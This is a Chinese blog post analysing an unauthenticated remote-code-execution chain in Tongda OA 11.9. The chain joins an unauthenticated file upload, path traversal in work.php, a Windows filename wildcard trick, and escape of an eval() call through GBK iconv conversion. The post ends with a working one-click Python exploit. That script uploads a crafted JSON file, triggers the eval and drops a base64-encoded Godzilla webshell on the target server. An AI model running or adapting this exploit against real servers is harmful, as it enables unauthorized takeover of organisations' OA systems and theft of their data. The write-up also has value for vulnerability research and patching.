通达oa11.9前台getshell漏洞分析

之前写的存货,现在看到网上已经公开了一大段时间,且最新版本已经另经几次更新迭代修补,算是过时的版本了,就拿出来晒晒。

通达oa11.9前台getshell

前言

本文所涉及漏洞均为互联网上已公开漏洞,仅用于合法合规用途,严禁用于违法违规用途。

审计准备

通达oa下载地址:https://cdndown.tongda2000.com/oa/2019/TDOA11.9.exe

源码解密:SeayDzend.exe

漏洞分析

前台文件上传点

/mobile/api/api.ali.php无需登录,可以上传文件,但无法上传php等敏感类型文件
image-20220312175413297.png

测试上传数据包
image-20220312175927876.png

其中2203目录是取的日期,而1130028766是随机的字符串,可以在源码中看到

image-20220312175632134.png

image-20220312175826978.png

eval函数参数可控

inc\package\business\AllVariableBusinessProcessing.php文件中的$variableData变量由传入的$BackData['dataAnalysis']赋值,存在可控点
image-20220312181018943.png

inc\package\DataTransport.phpbackData()方法中调用了backDataAnalysis()方法,而在acceptData()方法中调用了backData()方法,继续看acceptData()方法的代码

public function acceptData($id)
    {
        $json_file = MYOA_ATTACH_PATH2 . "syn/recv/data/" . $id . "/" . $id . ".json";
        $data = $this->analysisJson($json_file);
        $query = "select * from file_transfer_address where system_address ='" . $data["send_url"] . "'";
        $cursor = exequery(TD::conn(), $query);

        if ($ROW = mysql_fetch_array($cursor)) {
            $receive = $ROW["id"];
        }

        if ($data["type"] == "send") {
            $modular = $data["modular"];
            include_once "inc/package/business/" . $modular . "BusinessProcessing.php";
            $BusinessProcess = $modular . "BusinessProcessing";
            $BusinessProcessing = new $BusinessProcess();
            $new_file = MYOA_ATTACH_PATH2 . "syn/recv/data/" . $id;
            $data["fileAddress"] = $this->getFile($id, $data["fileList"]);
            $new_data = json_decode($data["organizeData"], true);
            $new_data["fileAddress"] = $data["fileAddress"];
            $new_data["send"] = $receive;
            $new_data["receive"] = $receive;
            $new_data = json_encode($new_data);
            $dataAnalysis = $BusinessProcessing->dataAnalysis($new_data);

            if ($dataAnalysis) {
                $runId = $data["Id"];
                $query = "select * from file_transfer_address where id = '999'";
                $cursor = exequery(TD::conn(), $query);

                if ($ROW = mysql_fetch_array($cursor)) {
                    $send_url = $ROW["system_address"];
                }

                $backData = array("id" => $data["id"], "type" => "back", "send_url" => $send_url, "send" => $receive, "receive" => $receive, "modular" => $modular, "dataAnalysis" => $dataAnalysis);
                $json_file = $this->makeJson($backData);
                $redis = TRedis::redis();
                $message = array("json" => $json_file, "netid" => $receive);
                $redis->hmset("syn:send:data:" . $id, $message);
                $time = time();
                $redis->zadd("syn:orig:list", $time, $id);
            }
        }
        else {
            $data["send"] = $receive;
            $data["receive"] = $receive;
            $this->backData($data);
        }

        return "+OK";
    }

重点关注这几行代码

public function acceptData($id)
    {
        $json_file = MYOA_ATTACH_PATH2 . "syn/recv/data/" . $id . "/" . $id . ".json";
        $data = $this->analysisJson($json_file);
        ......
        $this->backData($data);

而在/inc/package/work.php又调用了acceptData()方法,并且没有权限校验,其中$id直接传入到语句中,存在目录穿越,可以读取任意地方的 json 文件然后进行 json 格式解码后赋值给$data
image-20221207151203866.png

这里就和前面的文件上传组合起来构成一条利用链,剩下的就是要构造上传的文件内容。

回到eval()函数点
image-20220312235739371.png

重点注意这几行代码即可

static public function backDataAnalysis($BackData) 
    {
        $variableData = $BackData['dataAnalysis'];
        $variableData = json_decode($variableData, true);
        $variableData = eval('return ' . iconv('UTF-8', 'GBK', var_export($variableData, true) . ';'));

因为这是个json文件,并且在前面的acceptData()方法中进行了json_decode(),所以文件内容需要为json格式,同时为了满足跳转到backDataAnalysis方法,起初构造如下

{"modular":"AllVariable","dataAnalysis":"{\"aaa\":\"bbb\"}"}

按照源码写一个测试脚本,目的是为了debug

<?php

$BackData = array("modular"=>"AllVariable","dataAnalysis"=>"{\"aaa\":\"bbb\"}");
var_dump($BackData);
dotast($BackData);
function dotast($BackData){;
    $variableData = $BackData['dataAnalysis'];
    $variableData = json_decode($variableData, true);
    echo(iconv('UTF-8', 'GBK', var_export($variableData, true) . ';'));
    $variableData = eval('return ' . iconv('UTF-8', 'GBK', var_export($variableData, true) . ';'));
}
dotast($BackData);
?>

开启debug,走到eval()函数后,内容如图
image-20220313000947937.png

如果我们能在bbb处逃逸出单引号,闭合剩下的语句,就可以实现代码执行,即想实现如下代码效果

<?php
return array (
  'a' => 'bbb',eval(xxxx));/*',
);

但我们知道即使加上了一个单引号,也会进行转义,逃逸失败

<?php
return array (
  'a' => 'bbb\',eval(xxxx));/*',
);

如果再多出一个转义符号呢?多出的转义符会将第二个\进行转义,实现单引号闭合,成功逃逸。所以我们接下来需要想办法构造出一个转义符

<?php
return array (
  'a' => 'bbb\\',eval(xxxx));/*',
);

注意看前面的代码echo(iconv('UTF-8', 'GBK', var_export($variableData, true) . ';'));,精彩的地方在于这里使用了iconv()把utf-8编码转成GBK编码,我们写一个 python 自动脚本帮我们寻找哪些汉字可以在进行转换后末尾带\符号

# -- coding:UTF-8 --
# Author:dota_st
# Date:2022/3/12 20:30
# blog: www.wlhhlc.top
import random

def Unicode():
    val = random.randint(0x4e00, 0x9fbf)
    return chr(val)

while 1:
    create_s = Unicode()
    for i in create_s:
        test = i.encode('gbk')
        for j in test:
            if ascii(j) == '92':
                print('ok:', i)

image-20220313001942618.png

使用汉字一枚,构成如下php测试脚本

<?php

$BackData = array("modular"=>"AllVariable","evil"=>"ZmlsZV9wdXRfY29udGVudHMoJ2RvdGFzdC5waHAnLCc8P3BocCBwaHBpbmZvKCk7Jyk7","dataAnalysis"=>"{\"aaa\":\"覾',eval(base64_decode(\$BackData[evil])));/*\"}");
var_dump($BackData);
dotast($BackData);
function dotast($BackData){;
    $variableData = $BackData['dataAnalysis'];
    $variableData = json_decode($variableData, true);
    //var_dump($variableData);
    echo(iconv('UTF-8', 'GBK', var_export($variableData, true) . ';'));
    $variableData = eval('return ' . iconv('UTF-8', 'GBK', var_export($variableData, true) . ';'));
}
dotast($BackData);
?>

debug走起,在走到eval()的时候,语句内容如下
image-20220313002644121.png
成功实现逃逸,并且代码执行成功,生成 php 文件
image-20220313002727057.png

组合链

前面我们已经知道/mobile/api/api.ali.php可以上传 json 文件,而inc\package\work.php可以实现读取 json 文件,可以组合起来形成一条代码执行的利用链。但还有一个问题需要解决,就是上传的文件名格式如下
image-20220313002916266.png

前面的几位数字是随机的无法进行猜解,并且测试?通配符不可用,但可以利用 windows 上的一个特性

windows系统在处理文件名的时候,FindFirstFileExW()/FindFirstFile()这两个API会对< > "这三个字符做特殊处理,效果分别对应Linux下的通配符* ? .

所以我们可以用>来代替?实现匹配文件,如此便可成功构造出一条前台 getshell 利用链。最后使用 python 编写一键 getshell 脚本

import requests
import time

url = "http://192.168.1.103"

shell = "ZmlsZV9wdXRfY29udGVudHMoJy4uLy4uL2RvdGFzdC5waHAnLGJhc2U2NF9kZWNvZGUoIlBEOXdhSEFLUUhObGMzTnBiMjVmYzNSaGNuUW9LVHNLUUhObGRGOTBhVzFsWDJ4cGJXbDBLREFwT3dwQVpYSnliM0pmY21Wd2IzSjBhVzVuS0RBcE93cG1kVzVqZEdsdmJpQmxibU52WkdVb0pFUXNKRXNwZXdvZ0lDQWdabTl5S0NScFBUQTdKR2s4YzNSeWJHVnVLQ1JFS1Rza2FTc3JLU0I3Q2lBZ0lDQWdJQ0FnSkdNZ1BTQWtTMXNrYVNzeEpqRTFYVHNLSUNBZ0lDQWdJQ0FrUkZza2FWMGdQU0FrUkZza2FWMWVKR003Q2lBZ0lDQjlDaUFnSUNCeVpYUjFjbTRnSkVRN0NuMEtKSEJoYzNNOUozQmhjM01uT3dva2NHRjViRzloWkU1aGJXVTlKM0JoZVd4dllXUW5Pd29rYTJWNVBTY3pZelpsTUdJNFlUbGpNVFV5TWpSaEp6c0thV1lnS0dsemMyVjBLQ1JmVUU5VFZGc2tjR0Z6YzEwcEtYc0tJQ0FnSUNSa1lYUmhQV1Z1WTI5a1pTaGlZWE5sTmpSZlpHVmpiMlJsS0NSZlVFOVRWRnNrY0dGemMxMHBMQ1JyWlhrcE93b2dJQ0FnYVdZZ0tHbHpjMlYwS0NSZlUwVlRVMGxQVGxza2NHRjViRzloWkU1aGJXVmRLU2w3Q2lBZ0lDQWdJQ0FnSkhCaGVXeHZZV1E5Wlc1amIyUmxLQ1JmVTBWVFUwbFBUbHNrY0dGNWJHOWhaRTVoYldWZExDUnJaWGtwT3dvZ0lDQWdJQ0FnSUdsbUlDaHpkSEp3YjNNb0pIQmhlV3h2WVdRc0ltZGxkRUpoYzJsamMwbHVabThpS1QwOVBXWmhiSE5sS1hzS0lDQWdJQ0FnSUNBZ0lDQWdKSEJoZVd4dllXUTlaVzVqYjJSbEtDUndZWGxzYjJGa0xDUnJaWGtwT3dvZ0lDQWdJQ0FnSUgwS0NRbGxkbUZzS0NSd1lYbHNiMkZrS1RzS0lDQWdJQ0FnSUNCbFkyaHZJSE4xWW5OMGNpaHRaRFVvSkhCaGMzTXVKR3RsZVNrc01Dd3hOaWs3Q2lBZ0lDQWdJQ0FnWldOb2J5QmlZWE5sTmpSZlpXNWpiMlJsS0dWdVkyOWtaU2hBY25WdUtDUmtZWFJoS1N3a2EyVjVLU2s3Q2lBZ0lDQWdJQ0FnWldOb2J5QnpkV0p6ZEhJb2JXUTFLQ1J3WVhOekxpUnJaWGtwTERFMktUc0tJQ0FnSUgxbGJITmxld29nSUNBZ0lDQWdJR2xtSUNoemRISndiM01vSkdSaGRHRXNJbWRsZEVKaGMybGpjMGx1Wm04aUtTRTlQV1poYkhObEtYc0tJQ0FnSUNBZ0lDQWdJQ0FnSkY5VFJWTlRTVTlPV3lSd1lYbHNiMkZrVG1GdFpWMDlaVzVqYjJSbEtDUmtZWFJoTENSclpYa3BPd29nSUNBZ0lDQWdJSDBLSUNBZ0lIMEtmUW89IikpOw=="

dir_path1 = time.strftime('%y%m',time.localtime(time.time()))
dir_path2 = 'dotast'
files = {"file":(dir_path2+".json",'{"modular":"AllVariable","dotast":"%s","dataAnalysis":"{\\"abc\\":\\"覾\',eval(base64_decode($BackData[dotast])));/*\\"}"}'%shell, "application/octet-stream")}
res1 = requests.post(url+"/mobile/api/api.ali.php",files=files)

for i in range(12,4,-1):
    dir_path0 = '>'*i
    source_code = requests.get(url+"/inc/package/work.php?id=../../../../../myoa/attach/approve_center/{dir_path1}/{dir_path0}.{dir_path2}".format(dir_path1=dir_path1,dir_path0=dir_path0,dir_path2=dir_path2))
    if "OK" in source_code.text:
        print(f"\033[1;34m[*]生成哥斯拉shell: {url}/dotast.php  默认密码\033[0,")
        exit()

image-20220313011907201.png

总结

OA经过几轮的版本更新后,如今已难再找到前台触发的漏洞,但后台漏洞依然不少。

  • 发表于 2022-12-09 09:00:00
  • 阅读 ( 10054 )
  • 分类:漏洞分析

1 条评论

爱吃猫的鱼
很好奇,你解密的代码之后他还能正常运行debug。怎么操作的师傅
请先 登录 后评论
请先 登录 后评论
dota_st
dota_st

9 篇文章

站长统计